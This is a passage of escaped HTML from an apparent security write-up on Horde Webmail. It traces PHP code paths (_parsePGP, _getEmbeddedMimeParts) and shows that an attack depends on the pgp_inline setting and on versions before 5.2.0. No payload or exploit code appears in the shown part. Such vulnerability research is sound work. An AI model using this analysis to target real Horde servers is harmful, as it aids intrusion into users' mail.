class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-22\"><span class=\"crayon-c\">\/* 214 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-23\"><span class=\"crayon-c\">\/* 215 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Horde_Mime_Part<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-24\"><span class=\"crayon-c\">\/* 216 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-25\"><span class=\"crayon-c\">\/* 217 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part2<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setType<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;application\/pgp-signature&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-26\"><span class=\"crayon-c\">\/* 218 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part2<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setContents<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">implode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;data&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-27\"><span class=\"crayon-c\">\/* 219 *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-28\"><span class=\"crayon-c\">\/* 220 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part2<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setMetadata<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">SIG_CHARSET<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">charset<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-29\"><span class=\"crayon-c\">\/* 221 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part2<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setMetadata<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">SIG_RAW<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">implode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">val<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;data&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;n&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">implode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sig<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;data&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-30\"><span class=\"crayon-c\">\/* 222 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-31\"><span class=\"crayon-c\">\/* 223 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">addPart<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-32\"><span class=\"crayon-c\">\/* 224 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">addPart<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part2<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-33\"><span class=\"crayon-c\">\/* 225 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">new_part<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">addPart<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-34\"><span class=\"crayon-c\">\/* 226 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-35\"><span class=\"crayon-c\">\/* 227 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">next<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">parts<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-36\"><span class=\"crayon-c\">\/* 228 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-37\"><span class=\"crayon-c\">\/* 229 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-38\"><span class=\"crayon-c\">\/* 230 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-39\"><span class=\"crayon-c\">\/* 231 *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372792571053090-40\"><span class=\"crayon-c\">\/* 232 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">new_part<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372792571053090-41\"><span class=\"crayon-c\">\/* 233 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0105 seconds] -->  <\/p>\n<p>It is called from <em>_parsePGP()<\/em>:<\/p>\n<p>Path &#8211; <em>\/imp\/lib\/Mime\/Viewer\/Plain.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b372795117437520\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 239 *\/ protected function _parsePGP()  \/* 240 *\/ {  \/* 241 *\/ $part = $GLOBALS[&#8216;injector&#8217;]-&gt;getInstance(&#8216;Horde_Crypt_Pgp_Parse&#8217;)-&gt;parseToPart(  \/* 242 *\/ new Horde_Stream_Existing(array(  \/* 243 *\/ &#8216;stream&#8217; =&gt; $this-&gt;_mimepart-&gt;getContents(array(&#8216;stream&#8217; =&gt; true))  \/* 244 *\/ )),  \/* 245 *\/ $this-&gt;_mimepart-&gt;getCharset()  \/* 246 *\/ );<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372795117437520-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372795117437520-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372795117437520-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372795117437520-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372795117437520-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372795117437520-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372795117437520-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372795117437520-8\">8<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b372795117437520-1\"><span class=\"crayon-c\">\/* 239 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">protected<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">_parsePGP<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372795117437520-2\"><span class=\"crayon-c\">\/* 240 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372795117437520-3\"><span class=\"crayon-c\">\/* 241 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">part<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">GLOBALS<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;injector&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getInstance<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;Horde_Crypt_Pgp_Parse&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">parseToPart<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372795117437520-4\"><span class=\"crayon-c\">\/* 242 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Horde_Stream_Existing<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372795117437520-5\"><span class=\"crayon-c\">\/* 243 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;stream&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">_mimepart<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getContents<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;stream&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372795117437520-6\"><span class=\"crayon-c\">\/* 244 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372795117437520-7\"><span class=\"crayon-c\">\/* 245 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">_mimepart<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getCharset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372795117437520-8\"><span class=\"crayon-c\">\/* 246 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0017 seconds] -->  <\/p>\n<p>Our charset value is taken from <em>CHARSET<\/em> attribute of Content-Type header of parent MIMEpart.<\/p>\n<p><em>_parsePGP()<\/em> is used in <em>_getEmbeddedMimeParts()<\/em> method and from Horde Webmail ver 5.2.0 it looks like:<\/p>\n<p>Path &#8211; \/imp\/lib\/Mime\/Viewer\/Plain.php<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b372798028026175\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 222 *\/ protected function _getEmbeddedMimeParts()  \/* 223 *\/ {  \/* 224 *\/ $ret = $this-&gt;getConfigParam(&#8216;pgp_inline&#8217;)  \/* 225 *\/ ? $this-&gt;_parsePGP()  \/* 226 *\/ : null;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372798028026175-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372798028026175-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372798028026175-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372798028026175-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372798028026175-5\">5<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b372798028026175-1\"><span class=\"crayon-c\">\/* 222 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">protected<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">_getEmbeddedMimeParts<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372798028026175-2\"><span class=\"crayon-c\">\/* 223 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372798028026175-3\"><span class=\"crayon-c\">\/* 224 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ret<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getConfigParam<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;pgp_inline&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372798028026175-4\"><span class=\"crayon-c\">\/* 225 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_parsePGP<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372798028026175-5\"><span class=\"crayon-c\">\/* 226 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0007 seconds] -->  <\/p>\n<p>We can see an additional requirement \u2013 our function will be called only if &#8216;<em>pgp_inline<\/em>&#8216; config parameter is \u201c<em>true<\/em>\u201d. It is defined in:<\/p>\n<p>Path &#8211; <em>\/imp\/config\/mime_drivers.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b37279b893583609\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 37 *\/ \/* Scans the text for inline PGP data. If true, will strip this data  \/* 38 *\/ * out of the output (and, if PGP is active, will display the  \/* 39 *\/ * results of the PGP action). *\/  \/* 40 *\/ &#8216;pgp_inline&#8217; =&gt; false<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37279b893583609-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37279b893583609-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37279b893583609-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37279b893583609-4\">4<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b37279b893583609-1\"><span class=\"crayon-c\">\/* 37 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* Scans the text for inline PGP data. If true, will strip this data<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37279b893583609-2\"><span class=\"crayon-c\">\/* 38 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">out <\/span><span class=\"crayon-e\">of <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">output<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PGP <\/span><span class=\"crayon-st\">is<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">active<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">will <\/span><span class=\"crayon-e\">display <\/span><span class=\"crayon-v\">the<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37279b893583609-3\"><span class=\"crayon-c\">\/* 39 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">results <\/span><span class=\"crayon-e\">of <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">PGP <\/span><span class=\"crayon-v\">action<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37279b893583609-4\"><span class=\"crayon-c\">\/* 40 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;pgp_inline&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0008 seconds] -->  <\/p>\n<p>Default value is false, so the major part of Horde servers is not vulnerable and our attack is relevant only if an admin manually has changed this line to &#8216;<em>pgp_inline<\/em>&#8216; =&gt; <em>true<\/em>.<\/p>\n<p>But in older versions (before 5.2.0) the code of <em>_getEmbeddedMimeParts()<\/em> is a bit different:<\/p>\n<p>Path &#8211; <em>\/imp\/lib\/Mime\/Viewer\/Plain.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b37279d261173031\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line 